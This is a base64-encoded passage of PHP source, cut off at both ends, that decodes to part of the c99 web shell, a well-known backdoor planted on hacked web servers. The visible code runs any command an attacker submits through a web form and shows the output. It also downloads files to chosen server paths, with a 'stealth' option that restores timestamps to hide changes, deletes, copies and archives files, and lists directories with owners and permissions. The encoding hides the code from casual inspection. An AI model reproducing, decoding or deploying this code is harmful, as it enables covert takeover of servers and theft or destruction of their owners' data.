ICAgICAgICAgICAgICAgICAgJGR0ID0gcm91bmQoZ2V0bWljcm90aW1lKCkgLSAkc3QsIDQpOw0K
ICAgICAgICAgICAgICAgICAgICBpZiAoISRjb250ZW50KQ0KICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICAkdXBsb2FkbWVzcyAuPSAiQ2FuJ3QgZG93bmxvYWQg
ZmlsZSE8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBl
bHNlDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgk
ZmlsZXN0ZWFsdGgpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgJHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoIC4gJGRlc3Rpbik7DQogICAgICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBmb3Blbigk
dXBsb2FkcGF0aCAuICRkZXN0aW4sICJ3Iik7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAo
ISRmcCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3JpdGluZyB0byBmaWxlICIgLiBodG1sc3BlY2lh
bGNoYXJzKCRkZXN0aW4pIC4gIiE8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZwLCAkY29udGVudCwgc3RybGVuKCRj
b250ZW50KSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlc3RlYWx0aCkNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvdWNoKCR1
cGxvYWRwYXRoIC4gJGRlc3RpbiwgJHN0YXRbOV0sICRzdGF0WzhdKTsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAg
ICAgICAgaWYgKCRtaW5pZm9ybSkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGI+IiAu
ICR1cGxvYWRtZXNzIC4gIjwvYj4iOw0KICAgICAgICAgICAgJGFjdCA9ICJscyI7DQogICAgICAg
IH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj5GaWxlIHVw
bG9hZDo8L2I+PGJyPjxiPiIgLiAkdXBsb2FkbWVzcyAuICI8L2I+PGZvcm0gZW5jdHlwZT1cIm11
bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCIiIC4gJHN1cmwgLiAiYWN0PXVwbG9hZCZkPSIg
LiB1cmxlbmNvZGUoJGQpIC4gIlwiIG1ldGhvZD1QT1NUPg0KU2VsZWN0IGZpbGUgb24geW91ciBs
b2NhbCBjb21wdXRlcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRmaWxlXCIgdHlwZT1cImZpbGVcIj48
YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7b3I8YnI+DQpJbnB1dCBVUkw6IDxp
bnB1dCBuYW1lPVwidXBsb2FkdXJsXCIgdHlwZT1cInRleHRcIiB2YWx1ZT1cIiIgLiBodG1sc3Bl
Y2lhbGNoYXJzKCR1cGxvYWR1cmwpIC4gIlwiIHNpemU9XCI3MFwiPjxicj48YnI+DQpTYXZlIHRo
aXMgZmlsZSBkaXI6IDxpbnB1dCBuYW1lPVwidXBsb2FkcGF0aFwiIHNpemU9XCI3MFwiIHZhbHVl
PVwiIiAuICRkaXNwZCAuICJcIj48YnI+PGJyPg0KRmlsZS1uYW1lIChhdXRvLWZpbGwpOiA8aW5w
dXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1Pjxicj48YnI+DQo8aW5wdXQgdHlwZT1jaGVj
a2JveCBuYW1lPXVwbG9hZGF1dG9uYW1lIHZhbHVlPTEgaWQ9ZGY0PiZuYnNwO2NvbnZlcnQgZmls
ZSBuYW1lIHRvIGxvdmVyY2FzZTxicj48YnI+DQo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJt
aXQgdmFsdWU9XCJVcGxvYWRcIj4NCjwvZm9ybT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlm
ICgkYWN0ID09ICJkZWxldGUiKQ0KICAgIHsNCiAgICAgICAgJGRlbGVyciA9ICIiOw0KICAgICAg
ICBmb3JlYWNoICgkYWN0Ym94IGFzICR2KQ0KICAgICAgICB7DQogICAgICAgICAgICAkcmVzdWx0
ID0gZmFsc2U7DQogICAgICAgICAgICAkcmVzdWx0ID0gZnNfcm1vYmooJHYpOw0KICAgICAgICAg
ICAgaWYgKCEkcmVzdWx0KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRkZWxlcnIg
Lj0gIkNhbid0IGRlbGV0ZSAiIC4gaHRtbHNwZWNpYWxjaGFycygkdikgLiAiPGJyPiI7DQogICAg
ICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCFlbXB0eSgkZGVsZXJyKSkNCiAgICAg
ICAgew0KICAgICAgICAgICAgZWNobyAiPGI+RGVsZXRpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4i
IC4gJGRlbGVycjsNCiAgICAgICAgfQ0KICAgICAgICAkYWN0ID0gImxzIjsNCiAgICB9DQogICAg
aWYgKCEkdXNlZnNidWZmKQ0KICAgIHsNCiAgICAgICAgaWYgKCgkYWN0ID09ICJwYXN0ZSIpIG9y
ICgkYWN0ID09ICJjb3B5Iikgb3IgKCRhY3QgPT0gImN1dCIpIG9yICgkYWN0ID09ICJ1bnNlbGVj
dCIpKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxiPlNvcnJ5LCBidWZm
ZXIgaXMgZGlzYWJsZWQuIEZvciBlbmFibGUsIHNldCBkaXJlY3RpdmUgXCJcJHVzZUZTYnVmZlwi
IGFzIFRSVUUuPC9jZW50ZXI+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlDQogICAgew0K
ICAgICAgICBpZiAoJGFjdCA9PSAiY29weSIpDQogICAgICAgIHsNCiAgICAgICAgICAgICRlcnIg
PSAiIjsNCiAgICAgICAgICAgICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNz
X2RhdGFbImNvcHkiXSwgJGFjdGJveCk7DQogICAgICAgICAgICBjOTlfc2Vzc19wdXQoJHNlc3Nf
ZGF0YSk7DQogICAgICAgICAgICAkYWN0ID0gImxzIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNl
aWYgKCRhY3QgPT0gImN1dCIpDQogICAgICAgIHsNCiAgICAgICAgICAgICRzZXNzX2RhdGFbImN1
dCJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY3V0Il0sICRhY3Rib3gpOw0KICAgICAgICAg
ICAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgICAgICAgICAgJGFjdCA9ICJscyI7DQog
ICAgICAgIH0NCiAgICAgICAgZWxzZWlmICgkYWN0ID09ICJ1bnNlbGVjdCIpDQogICAgICAgIHsN
CiAgICAgICAgICAgIGZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkayA9PiAkdikNCiAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHYsICRhY3Rib3gpKQ0K
ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgdW5zZXQoJHNlc3NfZGF0YVsi
Y29weSJdWyRrXSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgZm9yZWFjaCAoJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGsgPT4gJHYpDQogICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCR2LCAkYWN0Ym94KSkNCiAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7
DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYzk5X3Nlc3Nf
cHV0KCRzZXNzX2RhdGEpOw0KICAgICAgICAgICAgJGFjdCA9ICJscyI7DQogICAgICAgIH0NCiAg
ICAgICAgaWYgKCRhY3RlbXB0eWJ1ZmYpDQogICAgICAgIHsNCiAgICAgICAgICAgICRzZXNzX2Rh
dGFbImNvcHkiXSA9ICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTsNCiAgICAgICAgICAgIGM5
OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRhY3Rw
YXN0ZWJ1ZmYpDQogICAgICAgIHsNCiAgICAgICAgICAgICRwc3RlcnIgPSAiIjsNCiAgICAgICAg
ICAgIGZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkayA9PiAkdikNCiAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAkdG8gPSAkZCAuIGJhc2VuYW1lKCR2KTsNCiAgICAgICAgICAg
ICAgICBpZiAoIWZzX2NvcHlfb2JqKCR2LCAkdG8pKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgJHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiIC4gJHYgLiAiIHRvICIgLiAk
dG8gLiAiITxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJGNv
cHlfdW5zZXQpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgk
c2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9
DQogICAgICAgICAgICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkayA9PiAkdikNCiAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdG8gPSAkZCAuIGJhc2VuYW1lKCR2KTsNCiAg
ICAgICAgICAgICAgICBpZiAoIWZzX21vdmVfb2JqKCR2LCAkdG8pKQ0KICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgJHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAiIC4gJHYgLiAi
IHRvICIgLiAkdG8gLiAiITxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkcHN0
ZXJyKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8Yj5QYXN0aW5nIHdp
dGggZXJyb3JzOjwvYj48YnI+IiAuICRwc3RlcnI7DQogICAgICAgICAgICB9DQogICAgICAgICAg
ICAkYWN0ID0gImxzIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRhY3RhcmNidWZmKQ0K
ICAgICAgICB7DQogICAgICAgICAgICAkYXJjZXJyID0gIiI7DQogICAgICAgICAgICBpZiAoc3Vi
c3RyKCRhY3RhcmNidWZmX3BhdGgsIC03LCA3KSA9PSAiLnRhci5neiIpDQogICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgJGV4dCA9ICIudGFyLmd6IjsNCiAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZXh0ID0gIi50YXIu
Z3oiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRleHQgPT0gIi50YXIuZ3oiKQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRjbWRsaW5lID0gInRhciBjZnp2IjsNCiAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICRjbWRsaW5lIC49ICIgIiAuICRhY3RhcmNidWZmX3Bh
dGg7DQogICAgICAgICAgICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHki
XSwgJHNlc3NfZGF0YVsiY3V0Il0pOw0KICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMg
JHYpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHYgPSBzdHJfcmVwbGFjZSgiXFwi
LCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkdik7DQogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigk
diwgMCwgc3RybGVuKCRkKSkgPT0gJGQpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAkdiA9IGJhc2VuYW1lKCR2KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgaWYgKGlzX2RpcigkdikpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICBpZiAoc3Vic3RyKCR2LCAtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikNCiAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHYgLj0gRElSRUNUT1JZX1NF
UEFSQVRPUjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkdiAu
PSAiKiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRjbWRsaW5lIC49ICIg
IiAuICR2Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHRtcCA9IHJlYWxwYXRoKCIuIik7
DQogICAgICAgICAgICBjaGRpcigkZCk7DQogICAgICAgICAgICAkcmV0ID0gbXlzaGVsbGV4ZWMo
JGNtZGxpbmUpOw0KICAgICAgICAgICAgY2hkaXIoJHRtcCk7DQogICAgICAgICAgICBpZiAoZW1w
dHkoJHJldCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGFyY2VyciAuPSAiQ2Fu
J3QgY2FsbCBhcmNoaXZhdG9yICgiIC4gaHRtbHNwZWNpYWxjaGFycyhzdHIybWluaSgkY21kbGlu
ZSwgNjApKSAuICIpITxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHJldCA9IHN0
cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJHJldCk7DQogICAgICAgICAgICAkcmV0ID0gZXhwbG9k
ZSgiXG4iLCAkcmV0KTsNCiAgICAgICAgICAgIGlmICgkY29weV91bnNldCkNCiAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGsgPT4g
JHYpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgkc2Vzc19k
YXRhWyJjb3B5Il1bJGtdKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAg
ICAgICAgICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkayA9PiAkdikNCiAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHYsICRyZXQpKQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZnNfcm1vYmooJHYpOw0KICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgICAg
ICAgICAgaWYgKCFlbXB0eSgkYXJjZXJyKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICBlY2hvICI8Yj5BcmNoaXZhdGlvbiBlcnJvcnM6PC9iPjxicj4iIC4gJGFyY2VycjsNCiAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICRhY3QgPSAibHMiOw0KICAgICAgICB9DQogICAgICAgIGVs
c2VpZiAoJGFjdHBhc3RlYnVmZikNCiAgICAgICAgew0KICAgICAgICAgICAgJHBzdGVyciA9ICIi
Ow0KICAgICAgICAgICAgZm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrID0+ICR2KQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0byA9ICRkIC4gYmFzZW5hbWUoJHYpOw0K
ICAgICAgICAgICAgICAgIGlmICghZnNfY29weV9vYmooJHYsICRkKSkNCiAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIiAuICR2IC4g
IiB0byAiIC4gJHRvIC4gIiE8YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgaWYgKCRjb3B5X3Vuc2V0KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgdW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7DQogICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgZm9yZWFjaCAoJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGsg
PT4gJHYpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHRvID0gJGQgLiBiYXNlbmFt
ZSgkdik7DQogICAgICAgICAgICAgICAgaWYgKCFmc19tb3ZlX29iaigkdiwgJGQpKQ0KICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAi
IC4gJHYgLiAiIHRvICIgLiAkdG8gLiAiITxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgICAgICAgICAgaWYgKCFl
bXB0eSgkcHN0ZXJyKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8Yj5Q
YXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+IiAuICRwc3RlcnI7DQogICAgICAgICAgICB9DQog
ICAgICAgICAgICAkYWN0ID0gImxzIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFjdCA9
PSAiY21kIikNCiAgICB7DQogICAgICAgIGlmICh0cmltKCRjbWQpID09ICJwcyAtYXV4IikNCiAg
ICAgICAgew0KICAgICAgICAgICAgJGFjdCA9ICJwcm9jZXNzZXMiOw0KICAgICAgICB9DQogICAg
ICAgIGVsc2VpZiAodHJpbSgkY21kKSA9PSAidGFza2xpc3QiKQ0KICAgICAgICB7DQogICAgICAg
ICAgICAkYWN0ID0gInByb2Nlc3NlcyI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAg
ICB7DQogICAgICAgICAgICBAY2hkaXIoJGNoZGlyKTsNCiAgICAgICAgICAgIGlmICghZW1wdHko
JHN1Ym1pdCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGI+UmVzdWx0
IG9mIGV4ZWN1dGlvbiB0aGlzIGNvbW1hbmQ8L2I+Ojxicj4iOw0KICAgICAgICAgICAgICAgICRv
bGRkaXIgPSByZWFscGF0aCgiLiIpOw0KICAgICAgICAgICAgICAgIEBjaGRpcigkZCk7DQogICAg
ICAgICAgICAgICAgJHJldCA9IG15c2hlbGxleGVjKCRjbWQpOw0KICAgICAgICAgICAgICAgICRy
ZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwgImQiLCAidyIpOw0KICAgICAgICAgICAgICAg
IGlmICgkY21kX3R4dCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRy
b3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsICRyZXQpKSArIDE7DQogICAgICAgICAgICAgICAg
ICAgIGlmICgkcm93cyA8IDEwKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICAgICAkcm93cyA9IDEwOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiIC4gJHJv
d3MgLiAiXCIgcmVhZG9ubHk+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHJldCkgLiAiPC90ZXh0YXJl
YT4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICRyZXQgLiAiPGJyPiI7DQogICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIEBjaGRpcigkb2xkZGlyKTsNCiAgICAgICAgICAg
IH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hv
ICI8Yj5FeGVjdXRpb24gY29tbWFuZDwvYj4iOw0KICAgICAgICAgICAgICAgIGlmIChlbXB0eSgk
Y21kX3R4dCkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkY21kX3R4
dCA9IHRydWU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ZWNobyAiPGZvcm0gYWN0aW9uPVwiIiAuICRzdXJsIC4gIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0
eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jbWQ+PHRleHRhcmVhIG5hbWU9Y21kIGNvbHM9MTIy
IHJvd3M9MTA+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGNtZCkgLiAiPC90ZXh0YXJlYT48aW5wdXQg
dHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIgLiAkZGlzcGQgLiAiXCI+PGJyPjxicj48
aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlz
cGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNt
ZF90eHRcIiB2YWx1ZT1cIjFcIiI7DQogICAgICAgICAgICBpZiAoJGNtZF90eHQpDQogICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiIGNoZWNrZWQiOw0KICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgZWNobyAiPjwvZm9ybT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICgk
YWN0ID09ICJscyIpDQogICAgew0KICAgICAgICBpZiAoY291bnQoJGxzX2FycikgPiAwKQ0KICAg
ICAgICB7DQogICAgICAgICAgICAkbGlzdCA9ICRsc19hcnI7DQogICAgICAgIH0NCiAgICAgICAg
ZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkbGlzdCA9IGFycmF5KCk7DQogICAgICAgICAg
ICBpZiAoJGggPSBAb3BlbmRpcigkZCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
d2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAkbGlzdFtdID0gJGQgLiAkbzsNCiAgICAgICAgICAgICAgICB9
DQogICAgICAgICAgICAgICAgY2xvc2VkaXIoJGgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAg
IGlmIChjb3VudCgkbGlzdCkgPT0gMCkNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGNl
bnRlcj48Yj5DYW4ndCBvcGVuIGZvbGRlciAoIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGQpIC4gIikh
PC9iPjwvY2VudGVyPiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAg
ICAgICAgICAkb2JqZWN0cyA9IGFycmF5KCk7DQogICAgICAgICAgICAkdmQgPSAiZiI7DQogICAg
ICAgICAgICBpZiAoJHZkID09ICJmIikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAk
b2JqZWN0c1siaGVhZCJdID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkb2JqZWN0c1siZm9s
ZGVycyJdID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkb2JqZWN0c1sibGlua3MiXSA9IGFy
cmF5KCk7DQogICAgICAgICAgICAgICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheSgpOw0KICAg
ICAgICAgICAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICR2KQ0KICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgJG8gPSBiYXNlbmFtZSgkdik7DQogICAgICAgICAgICAgICAgICAg
ICRyb3cgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJG8gPT0gIi4iKQ0KICAg
ICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcm93W10gPSAkZCAu
ICRvOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHJvd1tdID0gIkxJTksiOw0KICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoJG8gPT0gIi4uIikNCiAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJvd1tdID0gJGQg
LiAkbzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICJMSU5LIjsNCiAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpDQog
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19saW5r
KCR2KSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkdHlwZSA9ICJMSU5LIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAkdHlwZSA9ICJESVIiOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHJvd1tdID0gJHY7DQogICAgICAgICAgICAg
ICAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgICAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKQ0KICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICAkcm93W10gPSAkdjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICRyb3dbXSA9IGZpbGVzaXplKCR2KTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICAkcm93W10gPSBmaWxlbXRpbWUoJHYpOw0KICAgICAgICAgICAgICAg
ICAgICBpZiAoISR3aW4pDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkdikpOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCR2KSk7DQogICAgICAg
ICAgICAgICAgICAgICAgICAkcm93W10gPSAoJG93WyJuYW1lIl0gPyAkb3dbIm5hbWUiXSA6IGZp
bGVvd25lcigkdikpIC4gIi8iIC4gKCRnclsibmFtZSJdID8gJGdyWyJuYW1lIl0gOiBmaWxlZ3Jv
dXAoJHYpKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkcm93
W10gPSBmaWxlcGVybXMoJHYpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoKCRvID09ICIuIikg
b3IgKCRvID09ICIuLiIpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
